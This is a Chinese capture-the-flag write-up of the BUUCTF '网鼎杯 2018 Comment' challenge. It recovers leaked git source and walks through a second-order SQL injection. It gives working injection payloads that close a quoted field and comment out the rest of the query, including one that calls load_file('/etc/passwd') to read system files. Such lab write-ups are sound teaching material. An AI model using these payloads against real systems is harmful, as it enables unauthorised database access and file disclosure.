buuctf-88-[网鼎杯 2018]Comment

[网鼎杯 2018]Comment

这是一道关于sql二次注入的题目第一次遇到二次注入的题目蛮不错

进入之后，是一个类似于留言板的界面

需要先登录然后形式是密码最后三位纯数字不知道通过bp爆破一下就出来了密码结尾是666

进入之后f12

发现提示存在git源码泄露的

直接上githack

发现源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    break;
case 'comment':
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

但是发现源码不全

用git log或者 git log --reflog找到原来的代码然后恢复

但是我这里没有复现成功一直报错找了好久没发现是什么原因

无果只能再去寻找别的方法

然后发现了另一个提取远程 git 泄露或本地 git 的工具 git_extract 可以说是增强版

源码地址：https://github.com/gakki429/Git_Extract

调用的时候要用python2 因为这是python2的脚本

发现了更早的源码

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

分析：

存在两个表 board 和 commet

并且 $sql = "select category from board where id='$bo_id'";当我们评论时候还会调用board表

再来看

$sql = "insert into comment
           set category = '$category',
               content = '$content',
               bo_id = '$bo_id'";

$category,$content是我们可控的。且最后显示的是content，我们可以尝试闭合content = ‘$content’

举例当我们去发帖语句为

category 为',content=user(),/*其它随意，然后去详情里面评论*/# 这样就会回显我们当前用户信息

然后语句会被拼接成下面这样

insert into comment
       set category = ' ',content=user()，/*',
           content = '*/#',
           bo_id = '$bo_id'";

即原来的content内容被我们用注释/**/给注释了我们自己可以创建一个content从而达到我们想要的语句

构造payload:',content=user(),/*

发现是root权限这可太行了

直接用load_file()函数去读文件

构造payload:123',content=((select(load_file("/etc/passwd")))),/*

category=123',content=((select(load_file("/etc/passwd")))),/*` 注意一下这里category里面最好随便放点内容 如果直接是空的 比如构造成这样`',content=((select(load_file("/etc/passwd")))),/*

闭合进去之后就会变成category=''直接为空字符可能会无回显